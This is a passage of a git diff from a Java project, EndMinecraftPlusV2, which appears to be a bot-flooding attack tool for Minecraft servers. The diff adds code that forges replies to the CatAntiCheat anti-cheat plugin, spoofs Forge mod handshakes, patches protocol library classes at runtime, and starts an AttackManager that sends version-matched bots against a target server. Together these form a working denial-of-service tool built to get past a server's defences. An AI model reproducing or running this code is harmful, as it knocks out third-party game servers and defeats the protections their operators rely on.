// LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(incomingData.toByteArray()), "CatAntiCheat");
|
||||
}
|
||||
|
||||
LogUtil.doLog(0, "[CatAntiCheat] [" + username + "] 已发送ImageData数据。", "BotAttack");
|
||||
} catch (IOException e) {
|
||||
LogUtil.doLog(1, "[CatAntiCheat] [" + username + "] 发送ImageData数据时发生错误。", "BotAttack");
|
||||
}
|
||||
break;
|
||||
case 9:
|
||||
// Data Check packet reply
|
||||
sendPacketID = 10;
|
||||
boolean isLighting = false;
|
||||
boolean isTransparentTexture = false;
|
||||
|
||||
try {
|
||||
out.writeByte(sendPacketID);
|
||||
out.writeBoolean(isLighting);
|
||||
out.writeBoolean(isTransparentTexture);
|
||||
|
||||
// LogUtil.doLog(0,"发送PluginMessage: " + "CatAntiCheat" + " | " + Arrays.toString(buf.toByteArray()), "CatAntiCheat");
|
||||
LogUtil.doLog(0, "[CatAntiCheat] [" + username + "] 已发送VanillaCheck数据。", "BotAttack");
|
||||
session.send(new ClientPluginMessagePacket("CatAntiCheat", buf.toByteArray()));
|
||||
} catch (IOException e) {
|
||||
LogUtil.doLog(1, "[CatAntiCheat] [" + username + "] 发送VanillaCheck数据时发生错误。", "BotAttack");
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
public static List<String> getFileHashList(File filesDir) {
|
||||
List<String> fileHashList = new ArrayList<>();
|
||||
|
||||
for (File file: Objects.requireNonNull(filesDir.listFiles())) {
|
||||
fileHashList.add(getFileHash(file));
|
||||
}
|
||||
|
||||
return fileHashList;
|
||||
}
|
||||
|
||||
private static String getFileHash(File file) {
|
||||
try {
|
||||
try (InputStream in = Files.newInputStream(file.toPath())) {
|
||||
return calcHash(in) + "\0" + file.getName();
|
||||
}
|
||||
} catch (IOException ignored) { }
|
||||
return null;
|
||||
}
|
||||
|
||||
private static String calcHash(InputStream in) throws IOException {
|
||||
try {
|
||||
MessageDigest md = MessageDigest.getInstance("SHA1");
|
||||
|
||||
final byte[] buffer = new byte[4096];
|
||||
int read = in.read(buffer, 0, 4096);
|
||||
|
||||
while (read > -1) {
|
||||
md.update(buffer, 0, read);
|
||||
read = in.read(buffer, 0, 4096);
|
||||
}
|
||||
|
||||
byte[] digest = md.digest();
|
||||
return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest)).toUpperCase();
|
||||
} catch (NoSuchAlgorithmException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
public static void writeUTF8String(StreamNetOutput to, String string) throws IOException {
|
||||
byte[] utf8Bytes = string.getBytes(StandardCharsets.UTF_8);
|
||||
writeVarInt(to, utf8Bytes.length);
|
||||
to.writeBytes(utf8Bytes);
|
||||
}
|
||||
|
||||
public static void writeVarInt(StreamNetOutput to, int toWrite) throws IOException {
|
||||
while((toWrite & -128) != 0) {
|
||||
to.writeByte(toWrite & 127 | 128);
|
||||
toWrite >>>= 7;
|
||||
}
|
||||
|
||||
to.writeByte(toWrite);
|
||||
}
|
||||
|
||||
public static byte[] getImageData(File imageFile) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
try {
|
||||
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(out);
|
||||
BufferedImage bufferedImage = ImageIO.read(imageFile);
|
||||
ImageIO.write(bufferedImage, "png", gzipOutputStream);
|
||||
gzipOutputStream.flush();
|
||||
gzipOutputStream.close();
|
||||
} catch (Exception ignored) {}
|
||||
|
||||
return out.toByteArray();
|
||||
}
|
||||
}
|
@ -0,0 +1,100 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
|
||||
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import org.spacehq.packetlib.Session;
|
||||
import org.spacehq.packetlib.event.session.*;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Map;
|
||||
|
||||
public class MCForge {
|
||||
private final MCForgeHandShake handshake;
|
||||
|
||||
public Map<String, String> modList;
|
||||
public Session session;
|
||||
|
||||
public MCForge(Session session, Map<String, String> modList) {
|
||||
this.modList = modList;
|
||||
this.session = session;
|
||||
this.handshake = isAfterVersion1_13() ? new MCForgeHandShakeV2(this) : new MCForgeHandShakeV1(this);
|
||||
}
|
||||
|
||||
public void init() {
|
||||
this.session.addListener(new SessionListener() {
|
||||
public void packetReceived(PacketReceivedEvent e) {
|
||||
if (e.getPacket() instanceof ServerPluginMessagePacket) {
|
||||
handle(e.getPacket());
|
||||
} else if (e.getPacket().getClass().getSimpleName().equals("LoginPluginRequestPacket")) {
|
||||
handshake.handle(e.getPacket());
|
||||
}
|
||||
}
|
||||
|
||||
public void packetSent(PacketSentEvent e) {
|
||||
}
|
||||
|
||||
public void connected(ConnectedEvent e) {
|
||||
modifyHost();
|
||||
}
|
||||
|
||||
public void disconnecting(DisconnectingEvent e) {
|
||||
}
|
||||
|
||||
public void disconnected(DisconnectedEvent e) {
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public void handle(ServerPluginMessagePacket packet) {
|
||||
switch (packet.getChannel()) {
|
||||
case "FML|HS":
|
||||
this.handshake.handle(packet);
|
||||
break;
|
||||
case "REGISTER":
|
||||
case "minecraft:register": // 1.13
|
||||
this.session.send(new ClientPluginMessagePacket(packet.getChannel(), packet.getData()));
|
||||
break;
|
||||
case "MC|Brand":
|
||||
case "minecraft:brand": // 1.13
|
||||
this.session.send(new ClientPluginMessagePacket(packet.getChannel(), "fml,forge".getBytes()));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
public void modifyHost() {
|
||||
try {
|
||||
Class<?> cls = this.session.getClass().getSuperclass();
|
||||
|
||||
Field field = cls.getDeclaredField("host");
|
||||
field.setAccessible(true);
|
||||
|
||||
field.set(this.session, this.session.getHost() + "\0" + handshake.getFMLVersion() + "\0");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static boolean isVersion1710() {
|
||||
return (getProtocolVersion() == 5);
|
||||
}
|
||||
|
||||
public static boolean isAfterVersion1_13() {
|
||||
return (getProtocolVersion() >= 393);
|
||||
}
|
||||
|
||||
public static int getProtocolVersion() {
|
||||
try {
|
||||
Class<?> cls;
|
||||
try {
|
||||
cls = Class.forName("org.spacehq.mc.protocol.ProtocolConstants");
|
||||
} catch (ClassNotFoundException e) {
|
||||
cls = Class.forName("org.spacehq.mc.protocol.MinecraftConstants");
|
||||
}
|
||||
|
||||
Field field = cls.getDeclaredField("PROTOCOL_VERSION");
|
||||
return field.getInt(null);
|
||||
} catch (Exception e) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,14 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
|
||||
|
||||
import org.spacehq.packetlib.packet.Packet;
|
||||
|
||||
public abstract class MCForgeHandShake {
|
||||
protected MCForge forge;
|
||||
|
||||
public MCForgeHandShake(MCForge forge) {
|
||||
this.forge = forge;
|
||||
}
|
||||
|
||||
public abstract void handle(Packet recvPacket);
|
||||
public abstract String getFMLVersion();
|
||||
}
|
@ -0,0 +1,75 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
|
||||
|
||||
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
|
||||
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
|
||||
import org.spacehq.packetlib.Session;
|
||||
import org.spacehq.packetlib.io.stream.StreamNetOutput;
|
||||
import org.spacehq.packetlib.packet.Packet;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
public class MCForgeHandShakeV1 extends MCForgeHandShake {
|
||||
public MCForgeHandShakeV1(MCForge forge) {
|
||||
super(forge);
|
||||
}
|
||||
|
||||
public void handle(Packet recvPacket) {
|
||||
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
|
||||
Session session = forge.session;
|
||||
|
||||
byte[] data = packet.getData();
|
||||
int packetID = data[0];
|
||||
|
||||
switch (packetID) {
|
||||
case 0: // Hello
|
||||
sendPluginMessage(session, packet.getChannel(), new byte[] { 0x01, 0x02 });
|
||||
|
||||
// ModList
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
try {
|
||||
out.writeVarInt(2);
|
||||
out.writeByte(forge.modList.size());
|
||||
forge.modList.forEach((k, v) -> {
|
||||
try {
|
||||
out.writeString(k);
|
||||
out.writeString(v);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
});
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
sendPluginMessage(session, packet.getChannel(), buf.toByteArray());
|
||||
break;
|
||||
case 2: // ModList
|
||||
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x02 }); // ACK(WAITING SERVER DATA)
|
||||
break;
|
||||
case 3: // RegistryData
|
||||
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x03 }); // ACK(WAITING SERVER COMPLETE)
|
||||
break;
|
||||
case -1: // HandshakeAck
|
||||
int ackID = data[1];
|
||||
switch (ackID) {
|
||||
case 2: // WAITING CACK
|
||||
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x04 }); // PENDING COMPLETE
|
||||
break;
|
||||
case 3: // COMPLETE
|
||||
sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x05 }); // COMPLETE
|
||||
break;
|
||||
default:
|
||||
}
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
public String getFMLVersion() {
|
||||
return "FML";
|
||||
}
|
||||
|
||||
private void sendPluginMessage(Session session, String channel, byte[] data) {
|
||||
session.send(new ClientPluginMessagePacket(channel, data));
|
||||
}
|
||||
}
|
@ -0,0 +1,158 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
|
||||
|
||||
import org.spacehq.mc.protocol.packet.login.client.LoginPluginResponsePacket;
|
||||
import org.spacehq.mc.protocol.packet.login.server.LoginPluginRequestPacket;
|
||||
import org.spacehq.packetlib.io.buffer.ByteBufferNetInput;
|
||||
import org.spacehq.packetlib.io.stream.StreamNetOutput;
|
||||
import org.spacehq.packetlib.packet.Packet;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
public class MCForgeHandShakeV2 extends MCForgeHandShake {
|
||||
private final int Packet_S2CModList = 1;
|
||||
private final int Packet_C2SModListReply = 2;
|
||||
private final int Packet_S2CRegistry = 3;
|
||||
private final int Packet_S2CConfigData = 4;
|
||||
private final int Packet_C2SAcknowledge = 99;
|
||||
|
||||
public MCForgeHandShakeV2(MCForge forge) {
|
||||
super(forge);
|
||||
}
|
||||
|
||||
public void handle(Packet recvPacket) {
|
||||
LoginPluginRequestPacket packet = (LoginPluginRequestPacket) recvPacket;
|
||||
if (!packet.getChannel().equals("fml:loginwrapper")) return;
|
||||
|
||||
try {
|
||||
LoginWrapper loginWrapper = new LoginWrapper().fromBytes(packet.getData());
|
||||
String targetNetworkReceiver = loginWrapper.getTargetNetworkReceiver();
|
||||
ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(loginWrapper.getPayload()));
|
||||
|
||||
int packetID = in.readByte();
|
||||
switch (packetID) {
|
||||
case Packet_S2CModList: {
|
||||
// recv: S2CModList
|
||||
final List<String> mods = new ArrayList<>();
|
||||
int len = in.readVarInt();
|
||||
for (int x = 0; x < len; x++)
|
||||
mods.add(in.readString());
|
||||
|
||||
final Map<String, String> channels = new HashMap<>();
|
||||
len = in.readVarInt();
|
||||
for (int x = 0; x < len; x++)
|
||||
channels.put(in.readString(), in.readString());
|
||||
|
||||
final List<String> registries = new ArrayList<>();
|
||||
len = in.readVarInt();
|
||||
for (int x = 0; x < len; x++)
|
||||
registries.add(in.readString());
|
||||
// send: C2SModListReply
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
|
||||
out.writeByte(Packet_C2SModListReply);
|
||||
|
||||
out.writeVarInt(mods.size());
|
||||
mods.forEach(m -> {
|
||||
try {
|
||||
out.writeString(m);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
});
|
||||
|
||||
out.writeVarInt(channels.size());
|
||||
channels.forEach((k, v) -> {
|
||||
try {
|
||||
out.writeString(k);
|
||||
out.writeString(v);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
});
|
||||
|
||||
// TODO: Fill with known hashes, which requires keeping a file cache (FMLHandshakeMessages.java)
|
||||
out.writeVarInt(0); // empty map
|
||||
/*
|
||||
out.writeVarInt(registries.size());
|
||||
registries.forEach(r -> {
|
||||
try {
|
||||
out.writeString(r);
|
||||
out.writeString("");
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
});
|
||||
*/
|
||||
|
||||
reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
|
||||
break;
|
||||
}
|
||||
case Packet_S2CRegistry:
|
||||
case Packet_S2CConfigData: {
|
||||
// recv: S2CRegistry
|
||||
// send: C2SAcknowledge
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput out = new StreamNetOutput(buf);
|
||||
|
||||
out.writeByte(Packet_C2SAcknowledge);
|
||||
|
||||
reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
|
||||
break;
|
||||
}// recv: S2CConfigData
|
||||
}
|
||||
} catch (Exception ex) {
|
||||
forge.session.disconnect("Failure to handshake", ex);
|
||||
}
|
||||
}
|
||||
|
||||
public String getFMLVersion() {
|
||||
return "FML2";
|
||||
}
|
||||
|
||||
private void reply(int id, String targetNetworkReceiver, byte[] payload) throws IOException {
|
||||
forge.session.send(new LoginPluginResponsePacket(id, new LoginWrapper(targetNetworkReceiver, payload).toBytes()));
|
||||
}
|
||||
|
||||
static class LoginWrapper {
|
||||
private String targetNetworkReceiver;
|
||||
private byte[] payload;
|
||||
|
||||
public LoginWrapper() {}
|
||||
public LoginWrapper(String targetNetworkReceiver, byte[] payload) {
|
||||
this.targetNetworkReceiver = targetNetworkReceiver;
|
||||
this.payload = payload;
|
||||
}
|
||||
|
||||
public LoginWrapper fromBytes(byte[] bytes) throws IOException {
|
||||
ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(bytes));
|
||||
this.targetNetworkReceiver = in.readString();
|
||||
this.payload = in.readBytes(in.readVarInt());
|
||||
return this;
|
||||
}
|
||||
|
||||
public byte[] toBytes() throws IOException {
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
StreamNetOutput pb = new StreamNetOutput(buf);
|
||||
pb.writeString(targetNetworkReceiver);
|
||||
pb.writeVarInt(payload.length);
|
||||
pb.writeBytes(payload);
|
||||
|
||||
return buf.toByteArray();
|
||||
}
|
||||
|
||||
public String getTargetNetworkReceiver() {
|
||||
return this.targetNetworkReceiver;
|
||||
}
|
||||
|
||||
public byte[] getPayload() {
|
||||
return this.payload;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,52 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
public class MCForgeInject {
|
||||
public static boolean inject() {
|
||||
|
||||
try {
|
||||
if (MCForge.isVersion1710()) {
|
||||
injectPluginMessage();
|
||||
injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.entity.spawn.ServerSpawnMobPacket", "read",
|
||||
"{$1.readBytes($1.available());return;}");
|
||||
injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.world.ServerUpdateTileEntityPacket",
|
||||
"read", "{$1.readBytes($1.available());return;}");
|
||||
injectTryCatch("org.spacehq.packetlib.packet.PacketProtocol", "createIncomingPacket",
|
||||
"{return luohuayu.MCForgeProtocol.MCForgeUtils.createUnknowPacket();}");
|
||||
} else {
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
CtClass ctClass = classPool.getOrNull("org.spacehq.mc.protocol.data.MagicValues");
|
||||
if (ctClass == null)
|
||||
ctClass = classPool.get("org.spacehq.mc.protocol.data.game.MagicValues");
|
||||
CtMethod method1 = ctClass.getDeclaredMethod("key");
|
||||
method1.addCatch("{return null;}", classPool.get("java.lang.Exception"));
|
||||
CtMethod method2 = ctClass.getDeclaredMethod("value");
|
||||
method2.addCatch("{return null;}", classPool.get("java.lang.Exception"));
|
||||
ctClass.toClass();
|
||||
}
|
||||
return true;
|
||||
} catch (Exception e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static void injectPluginMessage() throws Exception {
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
CtClass ctClass = classPool.get("org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket");
|
||||
CtMethod method = ctClass.getDeclaredMethod("read");
|
||||
method.setBody("{this.channel=$1.readString();\n"
|
||||
+ "this.data=$1.readBytes(luohuayu.MCForgeProtocol.MCForgeUtils.readVarShort($1));}");
|
||||
ctClass.toClass();
|
||||
}
|
||||
|
||||
public static void injectTryCatch(String cls, String func, String code) throws Exception {
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
CtClass ctClass = classPool.get(cls);
|
||||
CtMethod method = ctClass.getDeclaredMethod(func);
|
||||
method.addCatch(code, classPool.get("java.lang.Exception"));
|
||||
ctClass.toClass();
|
||||
}
|
||||
}
|
@ -0,0 +1,144 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
import com.google.gson.Gson;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Socket;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class MCForgeMOTD {
|
||||
public Map<String, String> pingGetModsList(String ip, int port, int version) {
|
||||
Map<String, String> modList = new HashMap<String, String>();
|
||||
Socket socket = new Socket();
|
||||
try {
|
||||
socket.connect(new InetSocketAddress(ip, port));
|
||||
if(socket.isConnected()) {
|
||||
DataOutputStream out = new DataOutputStream(socket.getOutputStream());
|
||||
|
||||
ByteArrayOutputStream packet = new ByteArrayOutputStream();
|
||||
DataOutputStream packetOut = new DataOutputStream(packet);
|
||||
|
||||
packetOut.writeByte(0); // handshake packet id
|
||||
writeVarInt(packetOut, version); // version
|
||||
writeVarInt(packetOut, ip.length()); // host length
|
||||
packetOut.writeBytes(ip); // host
|
||||
packetOut.writeShort(port); // port
|
||||
writeVarInt(packetOut, 1); // next to status
|
||||
|
||||
writeVarInt(out, packet.size()); // packet length
|
||||
out.write(packet.toByteArray()); // handshake packet
|
||||
|
||||
out.writeByte(1); // packet length
|
||||
out.writeByte(0); // status packet id
|
||||
|
||||
out.flush();
|
||||
|
||||
DataInputStream in = new DataInputStream(socket.getInputStream());
|
||||
readVarInt(in); // packet length
|
||||
int packetID = readVarInt(in);
|
||||
int dataLength = readVarInt(in);
|
||||
|
||||
if (packetID == 0 && dataLength > 0) { // Response
|
||||
byte[] responseData = new byte[dataLength];
|
||||
in.readFully(responseData);
|
||||
Response response = new Gson().fromJson(new String(responseData), Response.class);
|
||||
if (response.modinfo != null) {
|
||||
for (Response.ModInfo.ModID modid : response.modinfo.modList) {
|
||||
modList.put(modid.modid, modid.version);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
|
||||
LogUtil.doLog(1, "获取服务器上的Forge Mods时发生错误。详细信息: " + e.getMessage(), null);
|
||||
|
||||
try {
|
||||
if (socket.isConnected())
|
||||
socket.close();
|
||||
} catch (IOException ignored) {}
|
||||
}
|
||||
return modList;
|
||||
}
|
||||
|
||||
/**
|
||||
* @author thinkofdeath
|
||||
* See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
|
||||
*/
|
||||
public int readVarInt(DataInputStream in) throws IOException {
|
||||
int i = 0;
|
||||
int j = 0;
|
||||
while (true) {
|
||||
int k = in.readByte();
|
||||
|
||||
i |= (k & 0x7F) << j++ * 7;
|
||||
|
||||
if (j > 5)
|
||||
throw new RuntimeException("VarInt too big");
|
||||
|
||||
if ((k & 0x80) != 128)
|
||||
break;
|
||||
}
|
||||
|
||||
return i;
|
||||
}
|
||||
|
||||
/**
|
||||
* @throws IOException
|
||||
* @author thinkofdeath
|
||||
* See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
|
||||
*/
|
||||
public void writeVarInt(DataOutputStream out, int paramInt) throws IOException {
|
||||
while (true) {
|
||||
if ((paramInt & 0xFFFFFF80) == 0) {
|
||||
out.writeByte(paramInt);
|
||||
return;
|
||||
}
|
||||
|
||||
out.writeByte(paramInt & 0x7F | 0x80);
|
||||
paramInt >>>= 7;
|
||||
}
|
||||
}
|
||||
|
||||
class Response {
|
||||
public Object description;
|
||||
public Players players;
|
||||
public Version version;
|
||||
public ModInfo modinfo;
|
||||
|
||||
class Description {
|
||||
public String text;
|
||||
public String translate;
|
||||
|
||||
public String getDescription() {
|
||||
return text != null ? text : translate;
|
||||
}
|
||||
}
|
||||
|
||||
class Players {
|
||||
public int max;
|
||||
public int online;
|
||||
}
|
||||
|
||||
class Version {
|
||||
public String name;
|
||||
public int protocol;
|
||||
}
|
||||
|
||||
class ModInfo {
|
||||
public String type;
|
||||
public ModID[] modList;
|
||||
|
||||
class ModID {
|
||||
public String modid;
|
||||
public String version;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,25 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
|
||||
|
||||
import org.spacehq.packetlib.io.NetInput;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class MCForgeUtils {
|
||||
public static int readVarShort(NetInput in) throws IOException {
|
||||
int low = in.readUnsignedShort();
|
||||
int high = 0;
|
||||
if ((low & 0x8000) != 0) {
|
||||
low = low & 0x7FFF;
|
||||
high = in.readUnsignedByte();
|
||||
}
|
||||
return ((high & 0xFF) << 15) | low;
|
||||
}
|
||||
|
||||
public static UnknownPacket createUnknownPacket() {
|
||||
try {
|
||||
return UnknownPacket.class.newInstance();
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,20 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.AdvanceModule.MCForge;
|
||||
|
||||
import org.spacehq.packetlib.io.NetInput;
|
||||
import org.spacehq.packetlib.io.NetOutput;
|
||||
import org.spacehq.packetlib.packet.Packet;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class UnknownPacket implements Packet {
|
||||
public boolean isPriority() {
|
||||
return false;
|
||||
}
|
||||
|
||||
public void read(NetInput in) throws IOException {
|
||||
in.readBytes(in.available());
|
||||
}
|
||||
|
||||
public void write(NetOutput out) {
|
||||
}
|
||||
}
|
45
Main/Main.iml
Normal file
45
Main/Main.iml
Normal file
@ -0,0 +1,45 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="JAVA_MODULE" version="4">
|
||||
<component name="NewModuleRootManager" inherit-compiler-output="true">
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
<orderEntry type="module" module-name="Tools" />
|
||||
<orderEntry type="module" module-name="VersionFactory" />
|
||||
<orderEntry type="module" module-name="VersionSupport-P1_8_X" />
|
||||
<orderEntry type="module" module-name="VersionSupport-P1_7_X" />
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/jna-5.12.1.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module-library">
|
||||
<library>
|
||||
<CLASSES>
|
||||
<root url="jar://$MODULE_DIR$/../libs/bukkitYaml-0.1-pre-jar-with-dependencies.jar!/" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
</library>
|
||||
</orderEntry>
|
||||
<orderEntry type="module" module-name="VersionSupport-P1_9_X-1_12_1" />
|
||||
<orderEntry type="module" module-name="VersionSupport-P1_12_2" />
|
||||
<orderEntry type="module" module-name="VersionSupport-P1_13_X" />
|
||||
<orderEntry type="module" module-name="VersionSupport-P1_14_X" />
|
||||
<orderEntry type="module" module-name="VersionSupport-P1_15_X" />
|
||||
<orderEntry type="module" module-name="VersionSupport-P1_16_X" />
|
||||
<orderEntry type="module" module-name="VersionSupport-P1_17_X" />
|
||||
<orderEntry type="module" module-name="VersionSupport-P1_18_X" />
|
||||
<orderEntry type="module" module-name="VersionSupport-P1_19" />
|
||||
<orderEntry type="module" module-name="VersionSupport-P1_19_1_1_19_2" />
|
||||
<orderEntry type="module" module-name="VersionSupport-P1_19_3_1_20_1" />
|
||||
<orderEntry type="module" module-name="VersionSupport-P1_20_X" />
|
||||
</component>
|
||||
</module>
|
@ -0,0 +1,105 @@
|
||||
package cn.serendipityr.EndMinecraftPlusV2.AttackManager;
|
||||
|
||||
import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotHandler;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Bot.BotManager;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.Packet.PacketHandler;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.VersionManager.ProtocolLibs;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.DataUtil;
|
||||
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
|
||||
|
||||
public class AttackManager {
|
||||
public static Boolean isDoubleAttack = false;
|
||||
|
||||
public static void doAttack() {
|
||||
LogUtil.emptyLog();
|
||||
DataUtil.loadData();
|
||||
|
||||
switch (ConfigUtil.AttackMethod) {
|
||||
case 1:
|
||||
case 4:
|
||||
case 5:
|
||||
// BotDebug & BotAttack
|
||||
BotHandler botHandler;
|
||||
PacketHandler packetHandler;
|
||||
if (ProtocolLibs.currentVersion >= 4 && ProtocolLibs.currentVersion <= 5) {
|
||||
// 1.7.X
|
||||
botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_7_X.BotHandler();
|
||||
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_7_X.PacketHandler();
|
||||
} else if (ProtocolLibs.currentVersion == 47) {
|
||||
// 1.8.X
|
||||
botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_8_X.BotHandler();
|
||||
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_8_X.PacketHandler();
|
||||
} else if (ProtocolLibs.currentVersion <= 338) {
|
||||
// 1.9.X-1.12.1
|
||||
botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_9_X_1_12_1.BotHandler();
|
||||
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_9_X_1_12_1.PacketHandler();
|
||||
} else if (ProtocolLibs.currentVersion <= 340) {
|
||||
// 1.12.2
|
||||
botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_12_2.BotHandler();
|
||||
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_12_2.PacketHandler();
|
||||
} else if (ProtocolLibs.currentVersion <= 404) {
|
||||
// 1.13.X
|
||||
botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_13_X.BotHandler();
|
||||
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_13_X.PacketHandler();
|
||||
} else if (ProtocolLibs.currentVersion <= 498) {
|
||||
// 1.14.X
|
||||
botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_14_X.BotHandler();
|
||||
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_14_X.PacketHandler();
|
||||
} else if (ProtocolLibs.currentVersion <= 578) {
|
||||
// 1.15.X
|
||||
botHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_15_X.BotHandler();
|
||||
packetHandler = new cn.serendipityr.EndMinecraftPlusV2.MultipleVersion.VersionSupport.P1_15_X.PacketHandler();
|
||||
} else if (ProtocolLibs.currentVersion <= 754) {
|
||||
// 1.16.X
|
||||
